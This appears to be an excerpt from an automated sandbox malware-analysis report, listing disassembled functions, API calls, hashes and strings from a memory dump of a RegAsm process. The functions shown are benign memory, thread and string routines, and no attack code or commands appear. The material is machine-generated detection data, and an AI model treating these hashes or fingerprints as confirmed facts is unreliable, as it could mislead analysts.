Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSectionmemset$EnterLeavefreemallocmemcpymoz_xmallocstrlen
String ID:
API String ID: 2029485308-0
Opcode ID: af157ffd2c3c7052fc20ea87578e267af2a7a743e6cd22ceef26206d7efe31bf
Instruction ID: 7ca1ad6127c7c973a0aa47377d8f502165f2d0d3e8eb20084850c2b8fc7f6fe6
Opcode Fuzzy Hash: af157ffd2c3c7052fc20ea87578e267af2a7a743e6cd22ceef26206d7efe31bf
Instruction Fuzzy Hash: BA31C5B5A012159BCB10CF98C880AAEBB75FF8A348F244169D954AB701E772EC07C7E1

Function 6CC4C150 Relevance: 7.6, APIs: 5, Instructions: 110stringtimeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC4C1BC
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC4C1DC

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_strlen
String ID:
API String ID: 1885715127-0
Opcode ID: 17fb87425f7c4954f7d2b61885528bfba260a26563a938e8e4051e73ae1fca10
Instruction ID: 7ce8fa3d755e8c7f715c63927bee3d05f4562da7cc39fc17bc1fdf4df9b9f55f
Opcode Fuzzy Hash: 17fb87425f7c4954f7d2b61885528bfba260a26563a938e8e4051e73ae1fca10
Instruction Fuzzy Hash: 8341ADB1D087408FD720DF68C58078ABBE4AF86308F40855EE8889B722F770A558CB92

Function 6CC9A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CCBF770), ref: 6CC9A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC9A87B

Part of subcall function 6CC9A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6CC9A88F,00000000), ref: 6CC9A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6CC9A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC9A90C
LeaveCriticalSection.KERNEL32(6CCBF770), ref: 6CC9A97E

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: ace17e2cdaa41b462901068939d8770369d452a6eb4e6e9fd69b426e84319e8a
Instruction ID: 19675898b83399db239e5b88cd89347c485339591f4c317e569bb437d40a62ba
Opcode Fuzzy Hash: ace17e2cdaa41b462901068939d8770369d452a6eb4e6e9fd69b426e84319e8a
Instruction Fuzzy Hash: D041A1B5E002089FDB00DFE8D885BDEB771FF44324F148629E826AB791E731A945CB91

Function 6CC41530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CC4152B,?,?,?,?,6CC41248,?), ref: 6CC4159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CC4152B,?,?,?,?,6CC41248,?), ref: 6CC415BC
moz_xmalloc.MOZGLUE(-00000001,?,6CC4152B,?,?,?,?,6CC41248,?), ref: 6CC415E7
free.MOZGLUE(?,?,?,?,?,?,6CC4152B,?,?,?,?,6CC41248,?), ref: 6CC41606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CC4152B,?,?,?,?,6CC41248,?), ref: 6CC41637

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: eb4634277809461e843276b5e188d1b364c5ce903a71c98c27deeefc60d37ec4
Instruction ID: f9d7c31c209c4dde9b9054c7e0e45ccc133a1c05bdd6d021715f603d13809219
Opcode Fuzzy Hash: eb4634277809461e843276b5e188d1b364c5ce903a71c98c27deeefc60d37ec4
Instruction Fuzzy Hash: 4F31C472A005148BCB188E6CD8504AE77A9FB81374724CB2DE863DBBD4FB30D9258791

Function 6CC9AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CCAE330,?,6CC5C059), ref: 6CC9AD9D

Part of subcall function 6CC4CA10: malloc.MOZGLUE(?), ref: 6CC4CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CCAE330,?,6CC5C059), ref: 6CC9ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CCAE330,?,6CC5C059), ref: 6CC9AE01
GetLastError.KERNEL32(?,00000000,?,?,6CCAE330,?,6CC5C059), ref: 6CC9AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CCAE330,?,6CC5C059), ref: 6CC9AE3D

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 0f94aed9f9e8288490c45f0ea3bcf18d7880e5fefac2d99d93fd19e8b59f146f
Instruction ID: 10bcaa02354316226cd1011811b6f6cbe3df86acbd64ce16145a3b48d94a418c
Opcode Fuzzy Hash: 0f94aed9f9e8288490c45f0ea3bcf18d7880e5fefac2d99d93fd19e8b59f146f
Instruction Fuzzy Hash: 8A3141B1E002159FDB10DF768D44AABB7F8EF88614F158429E94AE7710F7349815CBA0

Function 6CC95EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CCADCA0,?,?,?,6CC6E8B5,00000000), ref: 6CC95F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CC6E8B5,00000000), ref: 6CC95F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CC6E8B5,00000000), ref: 6CC95F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CC6E8B5,00000000), ref: 6CC95F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CC6E8B5,00000000), ref: 6CC95FD6

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: e7588edcbaa0a170840b6dbae2fd1eec7656ed757fee815f605c82653f67b067
Instruction ID: 34b0596da560ceb680a59a4dc4ec3b858fa18c257579680ec46a11c68e7b1d2e
Opcode Fuzzy Hash: e7588edcbaa0a170840b6dbae2fd1eec7656ed757fee815f605c82653f67b067
Instruction Fuzzy Hash: 7231FA353006008FD714CF69C898E2AB7F5FF89329B648698E5578BB95D735EC41CB80

Function 6CC3B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CC3B532
moz_xmalloc.MOZGLUE(?), ref: 6CC3B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CC3B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CC3B57E
free.MOZGLUE(00000000), ref: 6CC3B58F

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: a7267d40d4e58b96ca0b8d01cf80bd40bc9dfe84475cd246c8b6c53e5130c21e
Instruction ID: ec7394e26f6af462654aa3d55240f11a59f7427cbfa27b1916e3aad7d49cc969
Opcode Fuzzy Hash: a7267d40d4e58b96ca0b8d01cf80bd40bc9dfe84475cd246c8b6c53e5130c21e
Instruction Fuzzy Hash: 5521F371A006159BDB008FA9DC50BAABBB9FF82308F284129E818DB351F776D911C7A1

Function 6CC3B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CC3B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CC3B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CC3B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC3B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC3B849

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: f1319bff4e95f53fa76cc96369157c95abb7e7693c04a81c7e1539ade2311b1e
Instruction ID: f07fee85d804abcb855766203105fbb01820bee1acd53d3a78701083a414295e
Opcode Fuzzy Hash: f1319bff4e95f53fa76cc96369157c95abb7e7693c04a81c7e1539ade2311b1e
Instruction Fuzzy Hash: 71215CB0E002199FDF04DFA9D8956FEBBB4EF49314F14812AEC09A7301E731A945CBA1

Function 6CC96E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CC96E78

Part of subcall function 6CC96A10: InitializeCriticalSection.KERNEL32(6CCBF618), ref: 6CC96A68
Part of subcall function 6CC96A10: GetCurrentProcess.KERNEL32 ref: 6CC96A7D
Part of subcall function 6CC96A10: GetCurrentProcess.KERNEL32 ref: 6CC96AA1
Part of subcall function 6CC96A10: EnterCriticalSection.KERNEL32(6CCBF618), ref: 6CC96AAE
Part of subcall function 6CC96A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CC96AE1
Part of subcall function 6CC96A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CC96B15
Part of subcall function 6CC96A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CC96B65
Part of subcall function 6CC96A10: LeaveCriticalSection.KERNEL32(6CCBF618,?,?), ref: 6CC96B83

MozFormatCodeAddress.MOZGLUE ref: 6CC96EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CC96EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CC96EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CC96EFF

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: ffc7b7037d56f8755ae055590ba618592c91af8562615bd6d2346920a0f4cab1
Instruction ID: a57dc33438f244fa5b2747a81dd1b61cd68f54e01f44fee7fec404bd645f37af
Opcode Fuzzy Hash: ffc7b7037d56f8755ae055590ba618592c91af8562615bd6d2346920a0f4cab1
Instruction Fuzzy Hash: 0921A171A0421A9FDF00CF69D8C569A77F9EF84348F044039F80997281EB749A59CF96

Function 6CC976C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CC976F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CC97705

Part of subcall function 6CC4CA10: malloc.MOZGLUE(?), ref: 6CC4CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CC97717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CC9778F,00000000,00000000,00000000,00000000), ref: 6CC97731
free.MOZGLUE(00000000), ref: 6CC97760

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: c1d42f421a75238e29698f85162fefd56720058de8ef4295d3f38264597f064c
Instruction ID: ec5619616940050764c40aed78584840899dba168bdd5cf3944f8c675c2ebf2b
Opcode Fuzzy Hash: c1d42f421a75238e29698f85162fefd56720058de8ef4295d3f38264597f064c
Instruction Fuzzy Hash: E511C4B1901215ABE710AFB68C44BABBFF8EF45354F044529F848E7300F771985487E2

Function 6CC70D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CC33DEF), ref: 6CC70D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CC33DEF), ref: 6CC70D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CC33DEF), ref: 6CC70DAF

Strings

<jemalloc>, xrefs: 6CC70D92, 6CC70DB9
: (malloc) Error in VirtualFree(), xrefs: 6CC70D97, 6CC70DBE

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 6f730dbb6f9c357720b2669d45caf81135c55ce3d955cfe109b6707d376b0632
Instruction ID: ed51de8d2d7eef2df0f80b77432702700bdf6d47bcaf8881dd2f86a48eec840e
Opcode Fuzzy Hash: 6f730dbb6f9c357720b2669d45caf81135c55ce3d955cfe109b6707d376b0632
Instruction Fuzzy Hash: 52F0E93138079423E63012AB4D0AB5B376DFBC2B65F304075F204EE9C0FAA2E80047B8

Function 6CC95850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6CC9586C
CloseHandle.KERNEL32 ref: 6CC95878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CC95898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CC958C9
free.MOZGLUE(00000000), ref: 6CC958D3

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 3cccefe91040a703f68d8d686051806a1b26e6897f109db7ce2e3edfabe5b371
Instruction ID: 8cb5dbf31703410ab4f413fe42e937b6866be32fc63f2096b07e7063378b6c7b
Opcode Fuzzy Hash: 3cccefe91040a703f68d8d686051806a1b26e6897f109db7ce2e3edfabe5b371
Instruction Fuzzy Hash: 0701627D7441019FDF00DFDADA086067BB8FB83329B644136E419C2310E73198198F9D

Function 6CC87620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CC875C4,?), ref: 6CC8762B

Part of subcall function 6CC4CA10: malloc.MOZGLUE(?), ref: 6CC4CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CC874D7,6CC915FC,?,?,?), ref: 6CC87644
GetCurrentThreadId.KERNEL32 ref: 6CC8765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CC874D7,6CC915FC,?,?,?), ref: 6CC87663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CC874D7,6CC915FC,?,?,?), ref: 6CC87677

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 2b8a37575f70c4ecb85a45a8fe06e1cfe9045c8c864f73656a186ff335a86b5a
Instruction ID: 5f84838fa65a370b81a3812a0cc6e4dc76c691beb0d4ead1002433844cca6dea
Opcode Fuzzy Hash: 2b8a37575f70c4ecb85a45a8fe06e1cfe9045c8c864f73656a186ff335a86b5a
Instruction Fuzzy Hash: 72F0AF71E10785ABD7008F61C898676B778FFEA259F114316F90443611E7B0A5D08BD0

Function 6CC91700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CC91800

Part of subcall function 6CC6CBE8: GetCurrentProcess.KERNEL32(?,6CC331A7), ref: 6CC6CBF1
Part of subcall function 6CC6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CC331A7), ref: 6CC6CBFA

Part of subcall function 6CC34290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CC73EBD,6CC73EBD,00000000), ref: 6CC342A9

Strings

Details, xrefs: 6CC91925
{marker.name} - {marker.data.name}, xrefs: 6CC918C7
name, xrefs: 6CC91939

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 995c73df8f6356d2ba5b30a447ffc2068d64873becc3a2df5529bf0a0407fe06
Instruction ID: a5891527008dc0ecd9b7240de715659ce99935eaf5326d9181fe0ebb85e390cb
Opcode Fuzzy Hash: 995c73df8f6356d2ba5b30a447ffc2068d64873becc3a2df5529bf0a0407fe06
Instruction Fuzzy Hash: E1710270A007469FCB04CF68D49079ABBB5FF85304F00466DD8195BB41EB71B6A8CBE1

Function 6CC9B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CC9B0A6,6CC9B0A6,?,6CC9AF67,?,00000010,?,6CC9AF67,?,00000010,00000000,?,?,6CC9AB1F), ref: 6CC9B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CC9B0A6,6CC9B0A6,?,6CC9AF67,?,00000010,?,6CC9AF67,?,00000010,00000000,?), ref: 6CC9B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CC9B0A6,6CC9B0A6,?,6CC9AF67,?,00000010,?,6CC9AF67,?,00000010), ref: 6CC9B25F

Strings

map/set<T> too long, xrefs: 6CC9B1FA

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 46755a798d489d960d1e51a683cd40ee1851beb90b7205f47c7e979d66bcea86
Instruction ID: dfdbc7fd8e3037973d1f0b87857b0ce1e35262c6bf458a2fb2f5787549ad38b3
Opcode Fuzzy Hash: 46755a798d489d960d1e51a683cd40ee1851beb90b7205f47c7e979d66bcea86
Instruction Fuzzy Hash: 66619B74604645AFDB11CF19C890A9ABBF1FF4A318F28C1A9D8598FB52E331EC45CB91

Function 6CC5D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CC6CBE8: GetCurrentProcess.KERNEL32(?,6CC331A7), ref: 6CC6CBF1
Part of subcall function 6CC6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CC331A7), ref: 6CC6CBFA

EnterCriticalSection.KERNEL32(6CCBE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CC6D1C5), ref: 6CC5D4F2
LeaveCriticalSection.KERNEL32(6CCBE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CC6D1C5), ref: 6CC5D50B

Part of subcall function 6CC3CFE0: EnterCriticalSection.KERNEL32(6CCBE784), ref: 6CC3CFF6
Part of subcall function 6CC3CFE0: LeaveCriticalSection.KERNEL32(6CCBE784), ref: 6CC3D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CC6D1C5), ref: 6CC5D52E
EnterCriticalSection.KERNEL32(6CCBE7DC), ref: 6CC5D690
LeaveCriticalSection.KERNEL32(6CCBE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CC6D1C5), ref: 6CC5D751

Strings

MOZ_CRASH(), xrefs: 6CC5D4BB

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
